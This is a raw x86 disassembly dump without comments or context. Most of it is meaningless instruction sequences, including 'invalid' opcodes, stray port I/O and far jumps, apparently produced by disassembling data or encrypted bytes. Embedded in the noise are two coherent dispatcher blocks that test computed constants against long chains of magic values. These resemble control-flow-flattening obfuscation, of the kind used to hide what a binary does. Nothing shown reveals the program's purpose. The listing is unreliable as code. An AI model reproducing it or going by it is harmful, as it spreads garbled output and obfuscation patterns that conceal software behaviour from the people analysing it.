outsb dx, byte [esi]
inc ebx
push ebp
stosd dword es:[edi], eax
jp 0x67d1bf22
ret 0x2d03
ja 0x67d1bec8
wait
cdq
adc dl, dh
invalid
sub edx, dword [ecx*8 - 0x290143e5]
bndldx bnd1, [ecx + 0x3121917d]
xchg ecx, eax
and dword [ecx], esi
mov edi, edx
into
push ecx
jno 0x67d1bf52
push ss
mov ecx, 0x953e8e68
movsb byte es:[edi], byte [esi]
inc ebp
jb 0x67d1bfa4
pop esp
jo 0x67d1bf37
lodsd eax, dword [esi]
xchg ebx, eax
xchg esp, eax
lcall 0xcdd8, 0xe664ae25
and dword [ebx - 0x7be1e185], esi
js 0x67d1bfcc
push ds
test dl, ch
lcall 0xd0e8, 0xbd020e19
stosd dword es:[edi], eax
or esp, dword [esi + 0x277d6fd7]
xchg edi, eax
pop eax
nop
int3
mov bh, 0
sal byte [ebx], cl
push es
jns 0x67d1c007
imul ebp, edi, 0xfffffffa
loop 0x67d1bfdc
out dx, al
popal
adc bh, ah
inc ecx
scasb al, byte es:[edi]
jae 0x67d1bf75
mov dword [0x3a359d5d], eax
fmul qword [eax + ebp - 0x37]
popal
adc al, bl
out dx, eax
xchg ecx, eax
fsub qword [edx - 0x6fa92cd6]
mov ebx, 0xcb5eafdf
push ebx
leave
adc esp, ebx
or dword [ebp - 0x5357433d], 0x1d
pop ss
mov ecx, 0xcc900100
scasd eax, dword es:[edi]
cld
popal
sbb eax, 0x100b917
nop
int3
add dword [eax + 0x61fcafcc], edx
retf 0x3638
sbb al, 0x2c
and edi, dword [eax - 0x42]
sub eax, 0xc0e3f799
pushfd
pop dword [ecx]
rol al, cl
stosd dword es:[edi], eax
dec ebp
jno 0x67d1bfe0
add edx, edx
shr byte [ebx - 0x7a398eb3], 0xb4
std
dec eax
push 0x102b5b8f
test dword [ebp + edi*8 + 0x5b8f6848], esi
sub edx, dword [eax]
stc
cmpsd dword [esi], dword es:[edi]
ja 0x67d1c061
sub ah, byte [ebp + 0x36]
aad 0x26
pop ebx
jb 0x67d1c02a
cmp eax, 0x59e554f8
leave
cmp cl, byte [edx]
out 0xf2, al
invalid
fldenv [0x854b9443]
sbb byte [0xbda095fe], dl
test byte [ecx - 0x2220cfff], dl
cmp dl, ch
mov ds, word [esi]
jg 0x67d1c013
adc cl, byte [esp + ebp*2 - 0x77]
push edx
push edi
iretd
mov dl, 0x40
mov dh, 0xc8
sub eax, 0x80d0004e
adc al, 0xa8
push ebp
popal
mov dword [0xc5efa363], eax
and ah, byte [ebp - 0x28450593]
ljmp 0x4dc4
nop
jmp 0x67d1c94e
nop
mov eax, dword [0x680a5028]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], edx
mov dword [ebp - 0x48], 0x6a493
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0x93661
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x50]
mov edx, eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x48]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x48]
mul dword [ebp - 0x50]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x58]
xor eax, 0x32665db3
mov edx, dword [ebp - 0x54]
xor edx, 0x3d
or eax, edx
je 0x67d23c4a
mov edx, 0x32665db3
mov eax, 0x3d
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xef3ac
or eax, dword [ebp - 0x54]
je 0x67d2366c
mov edx, 0xef3ac
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xdf458
or eax, dword [ebp - 0x54]
je 0x67d20764
mov edx, 0xdf458
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xdd095
or eax, dword [ebp - 0x54]
je 0x67d20183
mov edx, 0xdd095
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xdb757
or eax, dword [ebp - 0x54]
je 0x67d20d45
mov edx, 0xdb757
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xb7895
or eax, dword [ebp - 0x54]
je 0x67d1cc9a
mov edx, 0xb7895
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0xa0a09
or eax, dword [ebp - 0x54]
je 0x67d1d85c
mov edx, 0xa0a09
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x9f4f1
or eax, dword [ebp - 0x54]
je 0x67d1fba2
mov edx, 0x9f4f1
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x98c37
or eax, dword [ebp - 0x54]
je 0x67d224c9
mov edx, 0x98c37
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x984e7
or eax, dword [ebp - 0x54]
je 0x67d21326
mov edx, 0x984e7
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x7d749
or eax, dword [ebp - 0x54]
je 0x67d1de3d
mov edx, 0x7d749
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x7ca16
or eax, dword [ebp - 0x54]
je 0x67d1e41e
mov edx, 0x7ca16
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x6bb30
or eax, dword [ebp - 0x54]
je 0x67d1d27b
mov edx, 0x6bb30
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x44beb
or eax, dword [ebp - 0x54]
je 0x67d2308b
mov edx, 0x44beb
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x42037
or eax, dword [ebp - 0x54]
je 0x67d22aaa
mov edx, 0x42037
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x26f93
or eax, dword [ebp - 0x54]
je 0x67d1f5c1
mov edx, 0x26f93
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x23627
or eax, dword [ebp - 0x54]
je 0x67d21ee8
mov edx, 0x23627
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x1e8a7
or eax, dword [ebp - 0x54]
je 0x67d1e9ff
mov edx, 0x1e8a7
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d23c4d
mov eax, dword [ebp - 0x58]
xor eax, 0x10f1c
or eax, dword [ebp - 0x54]
je 0x67d1efe0
mov eax, dword [ebp - 0x58]
xor eax, 0x13098
or eax, dword [ebp - 0x54]
je 0x67d21907
jmp 0x67d23c4d
mov esp, 0x1b5a4de4
in eax, 0xd
sbb al, 0xbd
mov esi, 0xe6f13110
out dx, eax
daa
fisubr dword [edi + 0x5a]
pop ebp
cmp eax, 0x29fa4d10
and byte [ecx + 0x75fea72a], cl
push esi
inc edx
xor byte [esi - 0x42], 0xf8
clc
add dword [ecx + 0x74], ebp
wait
insd dword es:[edi], dx
dec ebp
fmul st(2)
in eax, 0x1b
xchg edi, eax
bound eax, qword [ebp + 0x4a]
dec ecx
invalid
dec ecx
int 8
dec esp
sahf
mov dword [edx - 0x57fca454], esp
add eax, 0x772c7038
ja 0x67d1d1a9
xor al, 0xed
in eax, dx
out dx, eax
loope 0x67d1d164
aaa
invalid
adc esp, dword [esi - 0x13]
nop
int3
and al, 0x54
inc edi
shl bh, 1
je 0x67d1d174
cmp ebx, dword [esi - 0x6c]
adc al, 0xf1
jo 0x67d1d173
invalid
bound ebx, qword [edi]
add al, al
into
mov byte [bx + si], bl
pop ecx
jg 0x67d1d232
inc eax
xor byte [edx], ah
add byte [ecx], cl
jnp 0x67d1d258
cmc
popal
mov al, 0xde
mov cl, 0x55
loopne 0x67d1d215
or eax, 0x1e495b2f
les ecx, [edx]
retf
dec edx
dec edx
inc edi
sti
dec eax
xchg edi, eax
and ebp, dword [ebx - 0x4528b918]
imul esp, dword [esi], 0x56
je 0x67d1d1b1
fild qword [ecx - 0x41]
daa
cmp eax, 0x33618227
invalid
iretd
jmp 0x67d1d1e8
adc dword [ebp - 0x37], 0xa2619fa3
inc esp
cmpsb byte [esi], byte es:[edi]
mov bl, 0x17
loopne 0x67d1d1ed
outsb dx, byte [esi]
jg 0x67d1d1ff
pop ebx
invalid
and eax, 0x1937f0da
mov byte [0x859cf99e], al
into
mov al, byte [0xf29167dc]
test bl, ah
jbe 0x67d1d30b
fisttp word [esi]
mov ebx, 0x42e14b4c
push esi
xchg edx, eax
pushal
adc ah, byte [esi]
fdivp st(2)
out 0xe9, eax
adc eax, 0xbc1f68d0
popfd
aaa
xchg byte [eax + esi + 0x50], al
dec ebx
mov eax, dword [0xc2342b43]
outsd dx, dword [esi]
mov byte [0xdf634733], al
rol byte [esi], 1
jo 0x67d1d2f4
loop 0x67d1d25e
or dword [edx - 9], ebp
push 0xfffffffffffffff7
sbb bl, bh
sbb eax, 0x70e4ed82
add eax, 0x54773c76
dec ebp
lahf
xlatb
stosd dword es:[edi], eax
push edi
jb 0x67d1d303
mov dl, 0xae
int1
iretd
inc ebp
inc ecx
jbe 0x67d1d2bd
mov esp, 0x83380a99
out dx, eax
dec ebx
invalid
enter 0x610d, 0xfffffffffffffff2
xchg ebx, eax
add cl, byte [bx + di + 0x3d]
pop esi
jmp 0x51e2905
cmp eax, 0x55f3e95e
dec esp
popfd
fcmovb st(0), st(1)
test ebx, edi
push ebp
and eax, 0xd34816b7
lodsb al, byte [esi]
jns 0x67d1d37a
test dl, al
fmul qword [ebp + 0x1a50f69e]
push esi
invalid
pop ds
clc
push 0x8a4c5c0c
stc
or dword [ebp + 0x4da01570], 0x62ed0a76
xchg edi, eax
and dword [ebx - 0x40], eax
pop ebp
shr bh, 0x10
xchg esp, edi
outsd dx, dword [esi]
and eax, 0x508755de
mov dword [0xc160fae5], eax
dec esi
mov bl, 0x90
int3
int3
mov al, 0xbf
aam 0x37
or al, cl
aas
cmp al, bh
ret 0xcc90
stosd dword es:[edi], eax
and dl, byte [ecx]
or al, 0xdc
adc al, 0x27
xchg ebp, eax
push ebx
mov eax, 0xf4ce8e9f
stosb byte es:[edi], al
jne 0x67d1d7f2
rol byte [esi + 0x76d5ddef], 1
sub dword [eax - 0xc], esp
lahf
fadd dword [ebx - 0x45c172ee]
cmc
jge 0x67d1d897
loop 0x67d1d8d1
push ecx
xchg esp, eax
rcl byte [edx - 0x5145ac8], 0xdc
or eax, 0xb6c390ec
in eax, dx
and dh, dl
sbb ebx, edi
xor edi, ebp
test dword [ebx - 0x149b9357], esp
test dword [ecx - 0x49fb2574], 0x321bc58
cmpsd dword [esi], dword es:[edi]
enter 0x5381, 0x6c
mov dword fs:[esi + eax*8], esp
jnp 0x67d1d84a
pop es
mov byte [0xdbafbe4f], al
test al, 0x2c
and eax, 0x90905be0
int3
pop ss
adc edx, dword [ecx - 0x4bbb6941]
mov eax, 0x823145e0
je 0x67d1d8df
and al, 0xbd
nop
jbe 0x67d1d955
mov dword [0x4bdb61d], eax
sbb cl, byte [eax + 0xd]
sbb dword [edi + 0x56], eax
and al, byte [esi]
int3
out dx, eax
invalid
pop ecx
retf 0xfbe0
cmp ebx, dword [ebx + 5]
out dx, eax
mov dword [0xdc2c78c], eax
invalid
aaa
mov bl, byte [ebx - 0x5175f2c9]
insd dword es:[edi], dx
sbb eax, dword [eax]
popfd
ljmp 0xcfe9
push ss
popfd
adc eax, 0xc786952f
cdq
mov ebx, 0x9f37286a
fld qword [ebx]
rcr byte [0xc93447fa], cl
jae 0x67d1f001
sal dword [ecx + 0x46], cl
cmp al, 0x62
setb byte [eax + eax*2]
sbb al, 0x1d
mov ebx, 0x276d63c9
sbb eax, 0x6d63c9bb
daa
mov byte [0xb384f2d3], al
dec edx
inc esi
aaa
dec eax
xchg edx, eax
xchg esi, eax
daa
xchg edx, eax
mov eax, dword [0xb138fa83]
xlatb
imul dword [edi - 0x1e79daee]
adc al, bl
inc ecx
mov dl, 0x66
sub byte [esi + 1], dl
xchg edx, eax
fxch st(2)
fldcw word ds:[edx]
cmpsd dword [esi], dword es:[edi]
add eax, 0x54aa8af5
xchg edi, eax
cmp byte [edx - 0x19], ah
sub eax, 0x607ea152
dec esi
pop ecx
out dx, eax
retf
test dword [ebp + 0x54], ebx
invalid
fimul dword [edx - 0x21b06cc8]
pushfd
mov bh, 0x2f
in eax, 0x12
std
jno 0x67d1fb44
bound esp, qword [ebp - 0x46]
pop di
cmp eax, esp
test dword [0x4057bfc6], ebp
sbb ah, byte ds:[edx + 0x5f]
dec edx
mov esp, 0x601139bf
nop
int3
mov ebx, 0x18a8bce3
pop eax
popfd
or esi, dword [eax + ecx*8]
ja 0x67d1fb11
push edx
fldcw word [edi + 0x14001f71]
pop esi
jno 0x67d1fb6e
add byte [esi + ebx*2], dl
push edx
inc esi
aas
loope 0x67d1fb3e
push es
pop eax
sbb ah, bh
mov ebx, dword [ecx]
inc edi
xlatb
scasb al, byte es:[edi]
ret
inc ebp
mov esp, 0x175ee167
add dword [0x9702076d], ebx
cmpsd dword [esi], dword es:[edi]
hlt
fld dword [esi + 0x2a]
cli
add ebp, dword [edi]
mov word [edx], fs
pop ebx
push cs
inc ebp
and bl, cl
jns 0x67d1fb4d
xchg byte [ecx], dl
invalid
loopne 0x67d1fb4a
push cs
cmpxchg dword [esi + 0xd], eax
sbb dword [edx], ebx
sub edx, eax
pop es
fdiv st(6), st(0)
push 0xffffffffffffff87
pushfd
scasd eax, dword es:[edi]
jbe 0x67d1fb80
stc
pushfd
test dword [ebx + 0x4a], eax
les ebx, [ecx]
invalid
aam 0x58
salc
inc esi
int3
adc al, 0x5d
stosb byte es:[edi], al
pop edi
iretd
xchg edi, eax
push edx
or byte [ebx], bl
fstpnce st(2), st(0)
cmpsd dword [esi], dword es:[edi]
insb byte es:[edi], dx
jbe 0x67d206f3
lea ecx, [0x8d8c2b59]
inc ebp
into
cdq
invalid
push ebp
std
mov dword [edx - 0x267442e9], eax
pop es
mov ebx, 0x1be1666
lodsd eax, dword [esi]
or dword gs:[ebp + 0x10bf6478], 0xd4c3af97
pop ss
xor ecx, dword [ecx - 0x14]
invalid
xlatb
nop
sbb eax, 0xadf87817
and ecx, edx
pop ebx
mov dl, 0x61
adc ecx, dword [ebx + 0x441c1bd3]
pop edi
mov esi, 0x55eaf3df
rcr byte [eax], 0xf7
into
aam 0x6d
xchg byte [ecx], dl
inc edx
cmp al, 0xeb
clc
fst qword [esi - 0x6e24453d]
and eax, 0xb5644618
push edx
jmp 0x996763f4
stc
sbb byte [ebp - 0x10], al
pushfd
loop 0x67d2133f
mov al, byte [eax]
invalid
jmp 0x67d212da
enter 0x2199, 0x67
into
inc esi
scasd eax, dword es:[edi]
adc ah, byte [ecx + 0x6a625c8]
call 0x191519b1
add al, 0x3f
imul eax, ecx, 0x1cafee22
stosb byte es:[edi], al
fadd qword [eax]
dec ecx
loope 0x67d21949
or eax, 0xa5b2b108
push edi
das
pushal
or eax, 0xf02a9160
test al, 0x1d
popal
pop edi
mov dl, 0x42
pop ebp
out dx, al
pop ds
adc ebx, dword [ebx - 0x65]
adc byte [0x2c4c49d7], dh
nop
int3
imul byte [edi]
insb byte es:[edi], dx
shr byte [ebp + 0x20b96552], cl
stc
stosd dword es:[edi], eax
xor eax, 0x616ffcf9
outsd dx, dword [esi]
popal
fisttp word [esi + 0x7f]
mov esp, 0xa1cee7
xchg byte [edx - 0x30], ah
scasd eax, dword es:[edi]
jge 0x67d218c1
leave
inc ecx
add eax, 0xf33f1ae4
push eax
xor eax, 0x17e68ec4
mov ebp, 0x7b85b1a7
cmp dword [edx + 6], ecx
jne 0x67d2190a
push ss
fnsave dword [esi]
inc esp
push cs
pop esp
stosb byte es:[edi], al
cli
dec esi
mov eax, dword [0xff26165]
adc dword [edx], esp
movups xmmword [edx], xmm4
fnstenv [ebx - 0x5f18d499]
xchg ebp, eax
in al, 0x7a
mov edx, 0xe1bbe543
xchg esi, eax
sbb ebx, dword [eax - 0x64485ed3]
je 0x67d2193c
xchg edi, eax
pop esi
movsb byte es:[edi], byte [esi]
jne 0x67d21915
mov al, 0x90
int3
inc eax
insb byte es:[edi], dx
stc
insb byte es:[edi], dx
ja 0x67d21eef
mov al, 6
wait
pextrw esi, mm2, 0xda
xor cl, bh
xlatb
mov ebp, 0x8743bff9
and byte [ebx], ch
push ecx
cmp esi, esi
add eax, 0x9013d532
int3
lea esi, [eax]
jge 0x67d21ec2
sub edi, ebp
push ss
or edx, eax
jb 0x67d21f54
push ebp
sti
or eax, 0xa0b45337
loope 0x67d21f09
inc esi
imul esi, dword [0x612722fd], 0xbb2bb3b9
add al, 0xea
xlatb
call 0xa321fe56
mov al, byte [0xddadfb6a]
xchg dh, cl
stc
je 0x67d21f5a
ljmp 0x3b4f:0xdf46e8d7
iretd
sbb bl, byte [eax - 0x7d0c57a]
add edi, dword [edx]
pop esi
cwde
popfd
lds ecx, [ebx]
sbb esp, eax
and al, 0xdb
ljmp 0xb2b5
xchg dword [esi], ecx
add esi, 0xf6118a38
sbb dword [edi - 0x73e9dfee], esp
aaa
in al, dx
in eax, 0x67
sar byte [ebx + 2], cl
salc
xchg byte [edi - 0x3a], ch
jae 0x67d22534
xchg edi, eax
push ebx
sub dh, byte [esi]
fucompi st(3)
cwde
invalid
mov cl, byte [0xfb07f2bd]
dec esp
ror byte [edx - 0x61b77a67], 1
sbb esi, dword gs:[esi + 0x3d]
mov esi, 0xb9b7cae8
sbb eax, 0xd9383e5f
outsd dx, dword [esi]
fst qword [edx + 0xf]
pop es
wait
daa
ret 0xf104
hlt
popal
sahf
rol dword [esp + esi*4 - 0x30ef9df6], 0x49
outsb dx, byte [esi]
aaa
pop ss
push eax
dec edi
pop esi
jecxz 0x67d230da
sbb bl, byte [edx]
push 0x1c2e24ea
cld
stosd dword es:[edi], eax
sub dword [ebx + 0x70], esp
invalid
dec ebx
invalid
cmp dword [eax - 0x158ea6fb], edi
cwde
push edi
into
cmpsb byte [esi], byte es:[edi]
maxps xmm4, xmmword [eax - 0x38]
adc al, 0xfa
pushal
xchg esi, eax
popfd
das
mov ah, 0xb3
xchg dword [ebp - 0x778b727f], ebx
les ecx, [ebx]
nop
int3
or dword [ebp + 0xbc48874], 0xe2e9cc90
add eax, 0x7cd10000
out 0xd5, eax
sar dword [edi - 0x2b], 1
lds esi, [esi - 0x4fe7a5ce]
jb 0x67d2365f
loope 0x67d236d5
mov ch, 0x22
ja 0x67d23697
ja 0x67d236d3
sets ah
mov byte [0x2e299fb1], al
jle 0x67d23680
or edi, dword [edi - 0xcf09128]
int 0x1c
push eax
cdq
or al, 0x1d
mov ecx, 0xb3a3ad7e
loopne 0x67d2365d
jle 0x67d23646
mov dword [0x15c0e0b3], eax
adc esi, edx
inc ebx
fdiv st(6), st(0)
loop 0x67d236e2
adc eax, 0xdc43d611
invalid
jnp 0x67d2370a
outsb dx, byte [esi]
push edx
mov byte [ebx + 7], dl
adc dh, cl
cmpsd dword [esi], dword es:[edi]
test ch, ah
add dh, 9
or eax, 0x3146f0c1
bound ecx, qword [eax + 0x55]
push cs
push ebp
lodsd eax, dword [esi]
push cs
add byte [edi + 0x4a], 0x58
js 0x67d2371b
cdq
mov eax, 0x90423844
int3
iretd
mov dword [0x42bd437f], eax
inc esi
add eax, dword [edx + 0x712d0653]
stosd dword es:[edi], eax
je 0x67d236ba
sub dword [0x7013ad78], eax
mov ecx, 0x642a2b17
sub dl, byte [ecx + 0x249f2677]
push ds
mov eax, dword [0x4c37a29d]
mov ebp, 0x2c3bb8f
pop eax
mov esi, 0xbcc15cd0
insb byte es:[edi], dx
push ebx
pop eax
mov ebx, 0xcd65b3cc
sbb eax, 0x25cf72f2
xchg dword [edx + 0x7f], ebx
aam 0x54
push ecx
push edi
dec esp
int3
or ch, bl
dec eax
rcr byte [eax + 0x4e], 1
xchg ecx, eax
loop 0x67d23797
rcr byte [ebp + 0x26d76a50], cl
cli
std
xchg esi, eax
xchg ebx, eax
pop ebx
add dl, byte [ebp + 0x2e]
nop
int3
int3
nop
jmp 0x67d23c4e
nop
mov eax, dword [ebp - 0x210]
mov edx, dword [0x680a5024]
add eax, edx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x68], 0x9fc46
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0x1a17f
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
sub eax, dword [ebp - 0x70]
sbb edx, dword [ebp - 0x6c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x78]
xor eax, 0xf2ca4
or eax, dword [ebp - 0x74]
je 0x67d23fe7
mov edx, 0xf2ca4
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xf0bdf
or eax, dword [ebp - 0x74]
je 0x67d27ab1
mov edx, 0xf0bdf
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xbd9cf
or eax, dword [ebp - 0x74]
je 0x67d2518a
mov edx, 0xbd9cf
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xb9757
or eax, dword [ebp - 0x74]
je 0x67d2af9a
mov edx, 0xb9757
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xa3d59
or eax, dword [ebp - 0x74]
je 0x67d2632d
mov edx, 0xa3d59
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xa35d4
or eax, dword [ebp - 0x74]
je 0x67d28673
mov edx, 0xa35d4
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x9e8c2
or eax, dword [ebp - 0x74]
je 0x67d29235
mov edx, 0x9e8c2
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x9e10d
or eax, dword [ebp - 0x74]
je 0x67d2a3d8
mov edx, 0x9e10d
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x94d6e
or eax, dword [ebp - 0x74]
je 0x67d24ba9
mov edx, 0x94d6e
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x85ac7
or eax, dword [ebp - 0x74]
je 0x67d2c13d
mov edx, 0x85ac7
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x80a9f
or eax, dword [ebp - 0x74]
je 0x67d2b57b
mov edx, 0x80a9f
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x76655
or eax, dword [ebp - 0x74]
je 0x67d28c54
mov edx, 0x76655
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x752c1
or eax, dword [ebp - 0x74]
je 0x67d2576b
mov edx, 0x752c1
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x74a32
or eax, dword [ebp - 0x74]
je 0x67d26eef
mov edx, 0x74a32
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x740ec
or eax, dword [ebp - 0x74]
je 0x67d2690e
mov edx, 0x740ec
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x2db07
or eax, dword [ebp - 0x74]
je 0x67d274d0
mov edx, 0x2db07
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x1c6d6
or eax, dword [ebp - 0x74]
je 0x67d25d4c
mov edx, 0x1c6d6
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x11be2
or eax, dword [ebp - 0x74]
je 0x67d29816
mov edx, 0x11be2
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xfd44
or eax, dword [ebp - 0x74]
je 0x67d28092
mov edx, 0xfd44
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xd04e
or eax, dword [ebp - 0x74]
je 0x67d2a9b9
mov edx, 0xd04e
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0xb723
or eax, dword [ebp - 0x74]
je 0x67d29df7
mov edx, 0xb723
mov eax, 0
add byte [eax], bh
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x67d2c13a
mov eax, dword [ebp - 0x78]
xor eax, 0x3061
or eax, dword [ebp - 0x74]
je 0x67d2bb5c
mov eax, dword [ebp - 0x78]
xor eax, 0x8d36
or eax, dword [ebp - 0x74]
je 0x67d245c8
jmp 0x67d2c13a
pop ebp
ja 0x67d23fae
ficomp dword [ebx]
insb byte es:[edi], dx
mov dword [0xfde461cd], eax
cmp byte [ecx + 0x10], dh
and dword [ebp - 0x517ead73], edi
jle 0x67d23fcb
sbb dword [edx + 0x522ca57a], esi
invalid
outsd dx, dword [esi]
mov edx, 0x9c307266
inc ebp
and ah, byte [esi + 0x1925a0de]
inc ebp
push esi
int3
dec edi
or al, 0x79
das
inc eax
test byte [0x9f31bcc4], 0xad
lodsb al, byte [esi]
sbb al, 0xfe
push cs
xchg edi, eax
sub ebx, edx
aas
and eax, 0x97ea428c
popfd
cmp dword [esi + 0x16], ebx
push edx
sbb ebp, dword [esi + 0x78898df1]
jne 0x67d24bc4
adc eax, 0xcd4fa4cc
mov bh, 0xe
adc byte [ebp + 0x76], dh
test byte [esi - 0x59], bl
adc ebx, eax
insd dword es:[edi], dx
je 0x67d24bf2
xchg ebp, eax
ficom word [edx - 0x1755c98e]
shl esp, 1
cmc
das
and al, 0x58
pop eax
js 0x67d24ba5
in eax, 0x12
push ebp
cmpsd dword [esi], dword es:[edi]
push ebx
dec esp
and dword [esi - 0x6e], ecx
xchg edx, eax
ja 0x67d24b9b
int3
xchg ebp, eax
jne 0x67d24ba8
add byte [edx - 0x61], dh
jb 0x67d24b4a
insb byte es:[edi], dx
frstor dword [ebp + 0x6cba9023]
pop eax
mov eax, 0x3aaa731a
movsb byte es:[edi], byte [esi]
cwde
test byte [edi + esi*4 - 0xdea8968], 0x74
adc ah, byte ds:[edx - 0x75933694]
mov byte [0x8a6cc96c], al
pushal
cmc
xor cl, ch
xor byte [ebp + 0x66831285], 0x9c
cmpsd dword [esi], dword es:[edi]
cmp esi, dword [eax - 0x32d885a]
mov cl, 0x45
nop
adc dword [esi + 9], esp
xchg ebp, eax
or byte [eax], ah
rol dword [edx], cl
cmp al, 0x40
push esp
mov dh, 0xc4
fsubp st(5)
int 0xbf
